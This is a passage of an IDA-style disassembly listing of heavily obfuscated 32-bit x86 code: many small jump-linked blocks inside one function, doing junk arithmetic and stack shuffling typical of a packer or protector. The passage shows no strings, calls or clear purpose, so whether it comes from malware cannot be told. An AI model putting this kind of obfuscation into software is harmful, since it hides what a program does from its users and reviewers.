4 add edi, ecx pop ecx jmp loc_5871B1 ; --------------------------------------------------------------------------- loc_58F66D: ; CODE XREF: sub_581EE9+6582j pop eax jmp loc_58F520 ; --------------------------------------------------------------------------- loc_58F673: ; CODE XREF: sub_581EE9+4666j mov ebx, 19002F0Fh xor ebx, 6EE63033h sub ebx, 2F70186Ch inc ebx jmp loc_590CF1 ; --------------------------------------------------------------------------- loc_58F68A: ; CODE XREF: sub_581EE9+A132j add ecx, eax sub ecx, 7B7C6722h jmp loc_58FB83 ; --------------------------------------------------------------------------- loc_58F697: ; CODE XREF: sub_581EE9+E106j not ecx jmp loc_58ED62 ; --------------------------------------------------------------------------- loc_58F69E: ; CODE XREF: sub_581EE9+B8C2j push edi jmp loc_590886 ; --------------------------------------------------------------------------- loc_58F6A4: ; CODE XREF: sub_581EE9+BD46j push dword ptr [esp] pop edx add esp, 4 jmp loc_589A2D ; --------------------------------------------------------------------------- loc_58F6B0: ; CODE XREF: sub_581EE9+E619j mov ah, 19h push edx mov dl, 0AAh sub bl, dl pop edx jmp loc_585E4E ; --------------------------------------------------------------------------- loc_58F6BD: ; CODE XREF: sub_581EE9+B67Aj and ebp, eax pop eax add ebp, 3A90552Eh sub ebp, 8AC05E52h sub ecx, 14532A54h add ecx, 498F54C6h jmp loc_585F37 ; --------------------------------------------------------------------------- loc_58F6DD: ; CODE XREF: sub_581EE9+7D39j mov esi, [esp-6EC8h+arg_6EBE+2] add esp, 4 pop ecx and ecx, esi mov esi, [esp-6ED0h+arg_6EC6+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6ECCh+arg_6EC2+2] jmp loc_58A887 ; --------------------------------------------------------------------------- loc_58F703: ; CODE XREF: sub_581EE9+3E41j mov esp, [esp-6ED6h+arg_6ECE] push ebp jmp loc_59176F ; --------------------------------------------------------------------------- loc_58F70C: ; CODE XREF: sub_581EE9+BBEBj xchg ebp, [esp-6ECEh+arg_6EC6] mov esp, [esp-6ECEh+arg_6EC6] jmp loc_58A509 ; --------------------------------------------------------------------------- loc_58F717: ; CODE XREF: sub_581EE9+D8A8j push ebx push edx mov edx, 0C777212h add edx, 0F3888DF0h jmp loc_586DDA ; --------------------------------------------------------------------------- loc_58F729: ; CODE XREF: sub_581EE9+8CFAj xchg edi, ebx pop edi not ebx inc ebx inc ebx sub ebx, 0F79F7777h mov esi, ebx pop ebx and ecx, esi mov esi, [esp-6EC8h+arg_6EBE+2] add esp, 4 jmp loc_58802B ; --------------------------------------------------------------------------- loc_58F746: ; CODE XREF: sub_581EE9+A989j mov [esp-6EFEh+arg_6EF6], ecx jmp loc_589900 ; --------------------------------------------------------------------------- loc_58F74E: ; CODE XREF: sub_581EE9+6D14j add esp, 4 push [esp-6F0Ch+arg_6F02+2] jmp loc_590E02 ; --------------------------------------------------------------------------- loc_58F759: ; CODE XREF: sub_581EE9+5645j sub bl, ah pop ax sub bl, 37h push edx mov dh, 0BEh add dh, 53h add bl, dh pop edx add bl, 4 push ecx mov cl, 28h add bl, cl pop ecx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_58BCAA ; --------------------------------------------------------------------------- loc_58F77D: ; CODE XREF: sub_581EE9+C825j mov esp, [esp-6EC4h+arg_6EBA+2] push esi push 24097D63h pop esi push ecx push esi jmp loc_58E2C5 ; --------------------------------------------------------------------------- loc_58F78E: ; CODE XREF: sub_581EE9+B18Fj add esi, ecx pop ecx jmp loc_58F717 ; --------------------------------------------------------------------------- loc_58F796: ; CODE XREF: sub_581EE9+4D3Bj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F79B: ; CODE XREF: sub_581EE9+57ADj add ebx, eax pop eax push small word ptr [eax] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F7A6: ; CODE XREF: sub_581EE9+AF14j sub eax, 57147AA9h jmp loc_589962 ; --------------------------------------------------------------------------- loc_58F7B0: ; CODE XREF: sub_581EE9+A7A6j pop edi jmp loc_588788 ; --------------------------------------------------------------------------- loc_58F7B6: ; CODE XREF: sub_581EE9+4FB6j add ebx, 4 push edx push eax push 15F32777h pop eax push esi push eax mov eax, 63EF1182h push eax jmp loc_58E127 ; --------------------------------------------------------------------------- loc_58F7D1: ; CODE XREF: sub_581EE9+FBC1j mov esi, 2C7D5D69h xor esi, 18F32540h or esi, 3005139Ah add esi, 0DD64E78Bh and edx, esi mov esi, [esp-6E98h+arg_6E8E+2] jmp loc_587A8A ; --------------------------------------------------------------------------- loc_58F7F2: ; DATA XREF: sub_581EE9+3BAFo lodsd jmp loc_58CBC9 ; --------------------------------------------------------------------------- loc_58F7F8: ; CODE XREF: sub_581EE9+C57Cj push ebx mov ebx, 0EC0625Ch not ebx and ebx, 565457A6h jmp loc_58A72E ; --------------------------------------------------------------------------- loc_58F80B: ; CODE XREF: sub_581EE9+C7F0j pop [esp-6EC0h+arg_6EB6+2] mov esp, [esp-6EC4h+arg_6EBA+2] jmp loc_59079C ; --------------------------------------------------------------------------- loc_58F816: ; CODE XREF: sub_581EE9+63EBj pop ebp sub esi, 89253F5h jmp loc_591133 ; --------------------------------------------------------------------------- loc_58F822: ; CODE XREF: sub_581EE9+42EEj sub esp, 4 mov [esp-6EBAh+arg_6EB2], esp push ebx mov ebx, 4 jmp loc_58805D ; --------------------------------------------------------------------------- loc_58F833: ; CODE XREF: sub_581EE9+F452j not ebx xchg eax, ebx xor eax, 0C293886Ch push 1BDDh mov [esp-6EB2h+arg_6EA8+2], edi push eax xor [esp-6EAEh+arg_6EA4+2], 1C530ACDh jmp loc_58EFD1 ; --------------------------------------------------------------------------- loc_58F850: ; CODE XREF: sub_581EE9+BD99j add ecx, eax pop eax add ecx, 4 push ecx push [esp-6EC2h+arg_6EBE] pop ecx jmp loc_58E713 ; --------------------------------------------------------------------------- loc_58F861: ; CODE XREF: sub_581EE9+4752j mov [esp-6EFAh+arg_6EF0+2], edx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F869: ; CODE XREF: sub_581EE9+4D53j add ebx, 1 jmp loc_58EFC5 ; --------------------------------------------------------------------------- loc_58F871: ; CODE XREF: sub_581EE9+F0E7j mov esp, [esp-6EDCh+arg_6ED2+2] jmp loc_591739 ; --------------------------------------------------------------------------- loc_58F879: ; CODE XREF: sub_581EE9+5BB0j xor edx, 200084Ch add eax, edx mov edx, [esp-6EC6h+arg_6EBE] add esp, 4 jmp loc_590E9C ; --------------------------------------------------------------------------- loc_58F88C: ; CODE XREF: sub_581EE9+CAF6j add ebx, 8865E57h sub ebx, 138E1C20h pop edx xchg ebx, [esp-6ECAh+arg_6EC2] mov esp, [esp-6ECAh+arg_6EC2] mov ax, word ptr [esp-6ECAh+arg_6EC2] push ebx push esp pop ebx jmp loc_58A8C5 ; --------------------------------------------------------------------------- loc_58F8AB: ; CODE XREF: sub_581EE9+7CE7j sub eax, 50981DF8h push edi mov edi, 14C81252h jmp loc_5896D0 ; --------------------------------------------------------------------------- loc_58F8BB: ; CODE XREF: sub_581EE9+7A1Fj add eax, 18CE28F4h add eax, ebx push edi mov edi, 61491C83h xor edi, 79873477h jmp loc_589BB6 ; --------------------------------------------------------------------------- loc_58F8D3: ; CODE XREF: sub_581EE9+42DDj pop ebp push edi mov edi, 7B5F7C79h xor edi, 16C83548h and edi, 60BB2180h shl edi, 4 shl edi, 1 sub edi, 34F33913h add edi, 83F95F5Eh add ebp, edi pop edi add ebp, edi sub ebp, 6166464Bh mov edi, [esp-6EC6h+arg_6EBE] add esp, 4 and eax, ebp pop ebp or eax, eax jz loc_58FAC1 push ebx mov ebx, 28h add ebx, 2170683Ah push edx jmp loc_58EE79 ; --------------------------------------------------------------------------- loc_58F928: ; CODE XREF: sub_581EE9+754Aj sub esp, 4 jmp loc_585F2F ; --------------------------------------------------------------------------- loc_58F930: ; CODE XREF: sub_581EE9+7CC8j push ebx mov bl, 94h mov dl, bl pop ebx neg dl or dl, 26h or dl, 38h shl dl, 3 shr dl, 8 jmp loc_5915B9 ; --------------------------------------------------------------------------- loc_58F949: ; CODE XREF: sub_581EE9+70CAj or eax, eax jz loc_58F48F push ebp mov ebp, esp add ebp, 4 jmp loc_58856A ; --------------------------------------------------------------------------- loc_58F95F: ; CODE XREF: sub_581EE9+CCF7j sub al, bh jmp loc_589FF4 ; --------------------------------------------------------------------------- loc_58F966: ; CODE XREF: sub_581EE9+C8BCj pop eax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F96C: ; CODE XREF: sub_581EE9+6B4Cj push 4DCC4E0Fh jmp loc_585E6C ; --------------------------------------------------------------------------- loc_58F976: ; CODE XREF: sub_581EE9+EF1Cj add esp, 4 push ebx push esp pop ebx add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp-6EDCh+arg_6ED2+2] mov esp, [esp-6EDCh+arg_6ED2+2] push 4D5h mov [esp-6ED8h+arg_6ECE+2], ebx jmp loc_58D52D ; --------------------------------------------------------------------------- loc_58F99E: ; CODE XREF: sub_581EE9+D5C7j neg ebx not ebx jmp loc_5865C8 ; --------------------------------------------------------------------------- loc_58F9A7: ; CODE XREF: sub_581EE9+C3ECj pop eax jmp loc_59071B ; --------------------------------------------------------------------------- loc_58F9AD: ; CODE XREF: sub_581EE9+C088j mov ebx, 548A22FCh mov edi, 0AEA1E4E8h add edi, ebx pop ebx sub edi, 32C07E0h add [esp-6EC8h+arg_6EC2+2], edi pop edi mov edx, [esp-6ECCh+arg_6EC2+2] sub esp, 4 mov [esp-6EC8h+arg_6EBE+2], ecx jmp loc_591895 ; --------------------------------------------------------------------------- loc_58F9D6: ; CODE XREF: sub_581EE9+A91Ej pop edx push 4F52h mov [esp-6EEAh+arg_6EE0+2], ebx push esp jmp loc_58AC5B ; --------------------------------------------------------------------------- loc_58F9E5: ; CODE XREF: sub_581EE9+5AFDj pop esi inc ebx shl ebx, 7 sub ebx, 0C54B9A37h xor esi, ebx jmp loc_58F44A ; --------------------------------------------------------------------------- loc_58F9F7: ; CODE XREF: sub_581EE9+6B38j mov [esp-6EE8h+arg_6EE0], edi jmp loc_589104 ; --------------------------------------------------------------------------- loc_58F9FF: ; CODE XREF: sub_581EE9+EBB4j add esp, 4 add al, 9Fh jmp loc_58A2B9 ; --------------------------------------------------------------------------- loc_58FA0C: ; CODE XREF: sub_581EE9+5137j pop esi push eax mov eax, 64F02C4Bh sub eax, 1 sub eax, 55D2B7BCh and ebp, eax pop eax add ebp, 4A1B14D5h add ebp, 0F5A807B5h xor eax, ebp pop ebp sub [edi+24h], eax pop eax loc_58FA31: ; CODE XREF: sub_581EE9+FAE3j sub esp, 4 mov [esp-6EFAh+arg_6EF0+2], ebx sub esp, 4 jmp loc_590713 ; --------------------------------------------------------------------------- loc_58FA3F: ; CODE XREF: sub_581EE9+5A84j mov [esp-6EF6h+arg_6EEC+2], esp add [esp-6EF6h+arg_6EEC+2], 4 jmp loc_591852 ; --------------------------------------------------------------------------- loc_58FA4E: ; CODE XREF: sub_581EE9+87AAj push 4C12h mov [esp-6ED0h+arg_6EC6+2], eax mov eax, 0FFFFFFFFh jmp loc_58AE7C ; --------------------------------------------------------------------------- loc_58FA60: ; CODE XREF: sub_581EE9+C09Dj pop ebx sub esp, 4 mov [esp-6EF6h+arg_6EEC+2], edi mov edi, 2 add esi, edi pop edi xor esi, [esp-6EFAh+arg_6EF0+2] xor [esp-6EFAh+arg_6EF0+2], esi xor esi, [esp-6EFAh+arg_6EF0+2] pop esp shr word ptr [esp-6EFEh+arg_6EF6], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58FA83: ; CODE XREF: sub_581EE9+8C02j push ecx mov ecx, 4 add eax, ecx jmp loc_587D86 ; --------------------------------------------------------------------------- loc_58FA90: ; CODE XREF: sub_581EE9+8900j mov [esp-6EC2h+arg_6EBA], ecx mov ecx, esp add ecx, 4 jmp loc_590178 ; --------------------------------------------------------------------------- loc_58FAA0: ; CODE XREF: sub_581EE9+5696j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58FAA5: ; CODE XREF: sub_581EE9+8FFFj mov eax, 57A97A3Dh push eax jmp loc_58934D ; --------------------------------------------------------------------------- loc_58FAB0: ; CODE XREF: sub_581EE9+ABBEj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6EC2h+arg_6EBA] mov esp, [esp-6EC2h+arg_6EBA] loc_58FAC1: ; CODE XREF: sub_581EE9+D580j ; sub_581EE9+DA27j push dword ptr [edi+24h] push [esp-6EBEh+arg_6EB6] pop ecx sub esp, 4 mov [esp-6EBAh+arg_6EB2], edx push 2FCCh mov [esp-6EB6h+arg_6EAC+2], esp sub esp, 4 jmp loc_58F5C8 ; --------------------------------------------------------------------------- loc_58FAE4: ; CODE XREF: sub_581EE9+8777j pop eax mov ecx, [esp-6EBCh+arg_6EB2+2] add esp, 4 and al, bh push [esp-6EC0h+arg_6EB6+2] pop ebx add esp, 4 push 55FBh mov [esp-6EC0h+arg_6EB6+2], ebx push 1DA5h mov [esp-6EBCh+arg_6EB2+2], edi jmp loc_591906 ; --------------------------------------------------------------------------- loc_58FB0F: ; CODE XREF: sub_581EE9+AFC0j mov edi, 4 push edx mov edx, 49744EF3h sub eax, edx pop edx push ebp mov ebp, 34B97A6Fh sub eax, ebp pop ebp add eax, edi add eax, 34B97A6Fh add eax, 49744EF3h pop edi jmp loc_58D7F3 ; --------------------------------------------------------------------------- loc_58FB38: ; CODE XREF: sub_581EE9+8B7Bj xor [esp-6ECCh+arg_6EC2+2], esi jmp loc_58EDE7 ; --------------------------------------------------------------------------- loc_58FB40: ; CODE XREF: sub_581EE9+6471j pop esp mov [esp-6EBCh+arg_6EB2+2], ebx push esp mov ebx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EB4h+arg_6EAC] pop esp add ebx, 4 jmp loc_58E024 ; --------------------------------------------------------------------------- loc_58FB62: ; CODE XREF: sub_581EE9+F964j add edx, edi push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5896E5 ; --------------------------------------------------------------------------- loc_58FB75: ; CODE XREF: sub_581EE9+520Aj or [edi+20h], eax pop eax push 526Eh jmp loc_58DE2B ; --------------------------------------------------------------------------- loc_58FB83: ; CODE XREF: sub_581EE9+D7A9j pop eax shr ecx, 6 jmp loc_58E89C ; --------------------------------------------------------------------------- loc_58FB8C: ; CODE XREF: sub_581EE9+BE0Fj xor [esp-6ECCh+arg_6EC2+2], esi xor esi, [esp-6ECCh+arg_6EC2+2] mov esp, [esp-6ECCh+arg_6EC2+2] jmp loc_590C47 ; --------------------------------------------------------------------------- loc_58FB9A: ; DATA XREF: sub_581EE9+3B1Fo push 716Bh mov [esp-6EC8h+arg_6EBE+2], eax mov eax, esp push esi mov esi, 4 jmp loc_58CDEC ; --------------------------------------------------------------------------- loc_58FBAF: ; CODE XREF: sub_581EE9+E8CCj add esp, 4 sub cl, 2Ah jmp loc_58BDA6 ; --------------------------------------------------------------------------- loc_58FBBA: ; CODE XREF: sub_581EE9+5F51j mov [esp-6ECEh+arg_6EC6], edi mov edi, 413D1F30h mov esi, 0A141224Bh sub esi, edi jmp loc_58E06A ; --------------------------------------------------------------------------- loc_58FBCE: ; CODE XREF: sub_581EE9+EE59j push dword ptr [edi+1Ch] jmp loc_589BFB ; --------------------------------------------------------------------------- loc_58FBD6: ; CODE XREF: sub_581EE9+B63Fj pop esp mov ecx, [esp-6EDCh+arg_6ED2+2] add esp, 4 mov ebp, eax mov eax, [esp-6EE0h+arg_6ED6+2] add esp, 4 and eax, ebp push [esp-6EE4h+arg_6EDC] pop ebp add esp, 4 or edx, eax shl edx, 1 sub esp, 4 jmp loc_58CF42 ; --------------------------------------------------------------------------- loc_58FC00: ; CODE XREF: sub_581EE9+9F5Cj mov esi, esp add esi, 4 push eax mov eax, 305B2670h not eax shr eax, 7 jmp loc_58ED7F ; --------------------------------------------------------------------------- loc_58FC18: ; CODE XREF: sub_581EE9+D434j push edx push 6D710542h pop edx jmp loc_586A1B ; --------------------------------------------------------------------------- loc_58FC24: ; CODE XREF: sub_581EE9+4C29j mov esp, [esp-6ECEh+arg_6EC6] sar byte ptr [esp-6ECEh+arg_6EC6], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58FC30: ; CODE XREF: sub_581EE9+FA12j push [esp-6ECAh+arg_6EC2] pop ebx sub esp, 4 mov [esp-6EC6h+arg_6EBE], edx jmp loc_590D70 ; --------------------------------------------------------------------------- loc_58FC3F: ; CODE XREF: sub_581EE9+CC97j mov eax, 5268100Ah jmp loc_58CEC4 ; --------------------------------------------------------------------------- loc_58FC49: ; CODE XREF: sub_581EE9+A2B9j xor [esp-6EDAh+arg_6ED2], ebx xor ebx, [esp-6EDAh+arg_6ED2] pop esp rol [esp-6EDEh+arg_6ED6], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58FC59: ; CODE XREF: sub_581EE9+4655j mov [esp+0], esp jmp loc_5909B9 ; --------------------------------------------------------------------------- loc_58FC61: ; CODE XREF: sub_581EE9+9801j mov edx, esp sub esp, 4 mov [esp-6EF0h+arg_6EE8], edi jmp loc_58B9AE ; --------------------------------------------------------------------------- loc_58FC6E: ; CODE XREF: sub_581EE9+91E0j add eax, edi jmp loc_591C00 ; --------------------------------------------------------------------------- loc_58FC75: ; CODE XREF: sub_581EE9+77CEj pop ebp sub esi, 30543217h jmp loc_58D972 ; --------------------------------------------------------------------------- loc_58FC81: ; CODE XREF: sub_581EE9+A257j sub ebx, 2 xchg ebx, [esp-6EC4h+arg_6EBA+2] jmp loc_588F1B ; --------------------------------------------------------------------------- loc_58FC8C: ; CODE XREF: sub_581EE9+CE9Bj xor eax, 31FA59DCh push 41AFh mov [esp-6EB0h+arg_6EA8], esi mov esi, 0AD70008h push eax mov eax, 2D0C549Fh or esi, eax jmp loc_58ABAA ; --------------------------------------------------------------------------- loc_58FCAB: ; CODE XREF: sub_581EE9+9F1Fj mov ebx, 28D96D51h jmp loc_586C29 ; --------------------------------------------------------------------------- loc_58FCB5: ; CODE XREF: sub_581EE9+A13Dj push ebx jmp loc_58EDF5 ; --------------------------------------------------------------------------- loc_58FCBB: ; CODE XREF: sub_581EE9+4EBDj mov ecx, [esp-6EC2h+arg_6EBA] jmp loc_590F4E ; --------------------------------------------------------------------------- loc_58FCC3: ; CODE XREF: sub_581EE9+41F5j pop ecx xor edx, ecx xor ecx, edx xor edx, ecx sub esp, 4 jmp loc_58E2DA ; --------------------------------------------------------------------------- loc_58FCD5: ; CODE XREF: sub_581EE9+F1E0j xchg eax, [esp-6EBEh+arg_6EB6] pop esp push 0B3Fh mov [esp-6EBEh+arg_6EB6], ebx push 735Bh jmp loc_58C67D ; --------------------------------------------------------------------------- loc_58FCEB: ; CODE XREF: sub_581EE9+D696j add ecx, 4 xchg ecx, [esp-6EC8h+arg_6EBE+2] pop esp push 2FF6h jmp loc_5884FB ; --------------------------------------------------------------------------- loc_58FCFC: ; CODE XREF: sub_581EE9+6950j push ebp mov ebp, 4 jmp loc_58652B ; --------------------------------------------------------------------------- loc_58FD07: ; CODE XREF: sub_581EE9+BC2Dj mov ebx, esi pop esi xor ebx, 0DD79E133h push ecx mov ecx, 1D178D1h add ecx, 2EB76A7Dh shl ecx, 3 or ecx, 0F583561h jmp loc_58E2EF ; --------------------------------------------------------------------------- loc_58FD2A: ; CODE XREF: sub_581EE9+5598j mov esp, [esp-6ED2h+arg_6ECA] movsx ecx, ax push 6C50h jmp loc_58B794 ; --------------------------------------------------------------------------- loc_58FD3A: ; CODE XREF: sub_581EE9+5B4Fj push ebx push [esp-6EC6h+arg_6EC2] mov ebx, [esp-6EC2h+arg_6EBA] add esp, 4 pop [esp-6EC6h+arg_6EBE] jmp loc_586FF8 ; --------------------------------------------------------------------------- loc_58FD4D: ; CODE XREF: sub_581EE9+98F1j shl edx, 1 push eax jmp loc_588872 ; --------------------------------------------------------------------------- loc_58FD55: ; CODE XREF: sub_581EE9+BAF0j mov ebx, 4DE65BE4h jmp loc_58ACE2 ; --------------------------------------------------------------------------- loc_58FD5F: ; CODE XREF: sub_581EE9+9A15j pop ebx add edx, ebx sub edx, 1297662Ch push dword ptr [edx] add [esp-6E8Eh+arg_6E84+2], 4E403075h mov eax, [esp-6E8Eh+arg_6E84+2] jmp loc_58C40A ; --------------------------------------------------------------------------- loc_58FD79: ; CODE XREF: sub_581EE9+E5CCj mov ebp, 4 add eax, ebp mov ebp, [esp-6E8Eh+arg_6E84+2] add esp, 4 push ebp mov ebp, 4 add eax, ebp mov ebp, [esp-6E8Eh+arg_6E84+2] add esp, 4 push 13BCh mov [esp-6E8Eh+arg_6E84+2], eax push [esp-6E8Eh+arg_6E8A] pop eax pop [esp-6E8Eh+arg_6E84+2] jmp loc_5873AE ; --------------------------------------------------------------------------- loc_58FDAC: ; CODE XREF: sub_581EE9+6883j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-6EC0h+arg_6EB6+2] mov esp, [esp-6EC0h+arg_6EB6+2] mov [esp-6EC0h+arg_6EB6+2], ecx mov cl, ah mov ah, byte ptr [esp-6EC0h+arg_6EBA+2] mov byte ptr [esp-6EC0h+arg_6EBA+2], cl mov ecx, [esp-6EC0h+arg_6EB6+2] add esp, 4 sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ebx jmp loc_588D1A ; --------------------------------------------------------------------------- loc_58FDE4: ; CODE XREF: sub_581EE9+F245j sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], edi mov edi, 32183A0Bh sub edi, 6DC378D7h jmp loc_589D5F ; --------------------------------------------------------------------------- loc_58FDFA: ; CODE XREF: sub_581EE9+A506j add ecx, 4 xchg ecx, [esp-6EFEh+arg_6EF6] pop esp jmp loc_58A21C ; --------------------------------------------------------------------------- loc_58FE06: ; CODE XREF: sub_581EE9+B883j sub ebx, 4 xchg ebx, [esp-6EF0h+arg_6EE8] pop esp jmp loc_590C0F ; --------------------------------------------------------------------------- loc_58FE12: ; CODE XREF: sub_581EE9+7ACAj mov bh, 7 sub bh, dh jmp loc_58865C ; --------------------------------------------------------------------------- loc_58FE1B: ; CODE XREF: sub_581EE9+445Ej sub esi, 0F2C00EC0h add ecx, esi jmp loc_58D956 ; --------------------------------------------------------------------------- loc_58FE28: ; CODE XREF: sub_581EE9+8AD6j xor edx, 13FD6E95h shr edx, 7 shr edx, 4 dec edx shl edx, 2 jmp loc_586A7A ; --------------------------------------------------------------------------- loc_58FE3D: ; CODE XREF: sub_581EE9+E751j add esp, 4 add ecx, 4 jmp loc_588550 ; --------------------------------------------------------------------------- loc_58FE4E: ; CODE XREF: sub_581EE9+CEF9j push esp jmp loc_58E586 ; --------------------------------------------------------------------------- loc_58FE54: ; CODE XREF: sub_581EE9+CB73j push edi mov di, 6980h dec di neg di jmp loc_585F52 ; --------------------------------------------------------------------------- loc_58FE63: ; CODE XREF: sub_581EE9+7DC3j sub ecx, 4 xchg ecx, [esp-6ED4h+arg_6ECA+2] mov esp, [esp-6ED4h+arg_6ECA+2] jmp loc_58B517 ; --------------------------------------------------------------------------- loc_58FE71: ; CODE XREF: sub_581EE9+92D5j push [esp-6EC6h+arg_6EC2] jmp loc_58AD01 ; --------------------------------------------------------------------------- loc_58FE7A: ; CODE XREF: sub_581EE9+9FD7j mov ecx, esp add ecx, 4 jmp loc_5869F8 ; --------------------------------------------------------------------------- loc_58FE87: ; DATA XREF: sub_581EE9+3D3Bo mov eax, [esp-6E88h+arg_6E80] push ebp jmp loc_58C69C ; --------------------------------------------------------------------------- loc_58FE90: ; CODE XREF: sub_581EE9+A113j xor ebx, edi pop edi mov edx, ebx pop ebx add edx, 7D0442C2h add edx, eax sub edx, 7D0442C2h push ecx mov ecx, 0 jmp loc_587DC1 ; --------------------------------------------------------------------------- loc_58FEAF: ; CODE XREF: sub_581EE9+813Ej mov eax, edx pop edx jmp loc_58AFDA ; --------------------------------------------------------------------------- loc_58FEB7: ; CODE XREF: sub_581EE9+AC67j pop esp push ebp push esp pop ebp add ebp, 4 sub ebp, 4 jmp loc_589987 ; --------------------------------------------------------------------------- loc_58FECC: ; CODE XREF: sub_581EE9+8B43j add ecx, 4 jmp loc_5900D5 ; --------------------------------------------------------------------------- loc_58FED7: ; CODE XREF: sub_581EE9+D5D9j push esi push esp mov esi, [esp+0] add esp, 4 push ebp mov ebp, 4 jmp loc_58F322 ; --------------------------------------------------------------------------- loc_58FEEA: ; CODE XREF: sub_581EE9+7B05j push esp jmp loc_5879F4 ; --------------------------------------------------------------------------- loc_58FEF0: ; CODE XREF: sub_581EE9+B026j mov edx, esp add edx, 4 jmp loc_58725E ; --------------------------------------------------------------------------- loc_58FEFD: ; CODE XREF: sub_581EE9+FD50j pop ebx xor [esp-6EDCh+arg_6ED6+2], esi jmp loc_58B7F2 ; --------------------------------------------------------------------------- loc_58FF07: ; CODE XREF: sub_581EE9+A0DFj pop ebx add esp, 4 push 1719h mov [esp-6F0Eh+arg_6F06], ecx mov ecx, 2F106956h add ebx, ecx mov ecx, [esp-6F0Eh+arg_6F06] add esp, 4 mov dword ptr [edi+20h], 1EEF0543h push 3A3h jmp loc_5870D6 ; --------------------------------------------------------------------------- loc_58FF37: ; DATA XREF: sub_581EE9+3D0Bo push dword ptr [edi+1Ch] jmp loc_5892F5 ; --------------------------------------------------------------------------- loc_58FF3F: ; CODE XREF: sub_581EE9+A7B5j add ebp, 4 add ebp, 4 push 28C9h mov [esp-6EBCh+arg_6EB2+2], ebp push [esp-6EBCh+arg_6EB6+2] mov ebp, [esp+0] push esi push 16F5h jmp loc_58D5C9 ; --------------------------------------------------------------------------- loc_58FF65: ; CODE XREF: sub_581EE9+66EEj pop [esp-6ECEh+arg_6EC6] mov esp, [esp-6ED2h+arg_6ECA] add esp, 4 jmp loc_58ED03 ; --------------------------------------------------------------------------- loc_58FF76: ; CODE XREF: sub_581EE9+96C7j mov [esp-6ECCh+arg_6EC2+2], edx mov edx, 2 jmp loc_588858 ; --------------------------------------------------------------------------- loc_58FF83: ; CODE XREF: sub_581EE9+B523j mov edi, 4 sub ecx, edi pop edi jmp loc_59111F ; --------------------------------------------------------------------------- loc_58FF90: ; CODE XREF: sub_581EE9+53F8j shr edx, 8 xor edx, 1DF938h add edi, edx pop edx jmp loc_591AB8 ; --------------------------------------------------------------------------- loc_58FFA1: ; CODE XREF: sub_581EE9+4F6Aj mov cl, bh pop ebx pop edx not cl push small 3F6Eh mov word ptr [esp-6EB6h+arg_6EAC+2], cx add byte ptr [esp-6EB6h+arg_6EAC+2], 1 jmp loc_58ED89 ; --------------------------------------------------------------------------- loc_58FFB8: ; CODE XREF: sub_581EE9+58C9j xor ebp, edx push edx not dword ptr [esp+0] pop edx xchg edx, ebp add ebp, 6DCB56D7h jmp loc_58773D ; --------------------------------------------------------------------------- loc_58FFCC: ; CODE XREF: sub_581EE9+5353j pop edi mov esi, [esp-6EFEh+arg_6EF6] push eax jmp loc_58A586 ; --------------------------------------------------------------------------- loc_58FFD6: ; CODE XREF: sub_581EE9+5552j add ecx, eax add ecx, 4AEE5E4Eh jmp loc_58AA0B ; --------------------------------------------------------------------------- loc_58FFE3: ; CODE XREF: sub_581EE9+519Cj xchg edi, [esp-6EF8h+arg_6EF0] pop esp mov [esp+0], ecx mov ecx, 59E73F20h jmp loc_58F697 ; --------------------------------------------------------------------------- loc_58FFF4: ; CODE XREF: sub_581EE9+E642j xor edi, 0B22DBCE9h add ebp, 3F127AC1h sub ebp, 256A2417h add ebp, edi add ebp, 256A2417h sub ebp, 3F127AC1h mov edi, [esp+0] add esp, 4 xor ebp, [esp-6F00h+arg_6EF6+2] xor [esp-6F00h+arg_6EF6+2], ebp xor ebp, [esp-6F00h+arg_6EF6+2] jmp loc_58E7E7 ; --------------------------------------------------------------------------- loc_59002B: ; CODE XREF: sub_581EE9+6DEEj or ebx, ebp pop ebp sub ebx, 1 xor ebx, 2BE9523h jmp loc_58A300 ; --------------------------------------------------------------------------- loc_59003F: ; CODE XREF: sub_581EE9+9862j mov ch, 76h add ch, 20h sub ch, 0F8h or bl, ch jmp loc_586648 ; --------------------------------------------------------------------------- loc_59004E: ; CODE XREF: sub_581EE9+779Cj add ecx, 4 push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp+0] jmp loc_58E5D3 ; --------------------------------------------------------------------------- loc_590065: ; CODE XREF: sub_581EE9+B430j add ecx, 3A3E184Ah and ecx, 0F27AF7h push esi jmp loc_58B558 ; --------------------------------------------------------------------------- loc_590077: ; CODE XREF: sub_581EE9+F94Ej add esp, 4 add bl, al jmp loc_5904A6 ; --------------------------------------------------------------------------- loc_590081: ; CODE XREF: sub_581EE9+6AF3j pop ebx push ecx jmp loc_591015 ; --------------------------------------------------------------------------- loc_590088: ; CODE XREF: sub_581EE9+7C17j xor edi, ecx pop ecx or edi, 76915C2Ah dec edi add edi, 882AA15Ah add edx, edi pop edi jmp loc_590F1A ; --------------------------------------------------------------------------- loc_5900A0: ; CODE XREF: sub_581EE9+A23Cj add esi, 2475399Eh sub eax, esi pop esi jmp loc_58C0BD ; --------------------------------------------------------------------------- loc_5900AE: ; CODE XREF: sub_581EE9+83BBj mov edx, 0C809FBC3h sub ebp, edx pop edx jmp loc_5904F7 ; --------------------------------------------------------------------------- loc_5900BB: ; CODE XREF: sub_581EE9+8635j pop eax add esp, 4 pop ecx not ecx xchg eax, ecx push ebp push eax pop ebp pop eax xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 jmp loc_591A68 ; --------------------------------------------------------------------------- loc_5900D5: ; CODE XREF: sub_581EE9+DFE9j xchg ecx, [esp-6E94h+arg_6E8A+2] pop esp pop [esp-6E98h+arg_6E8E+2] pop esp jmp loc_585E00 ; --------------------------------------------------------------------------- 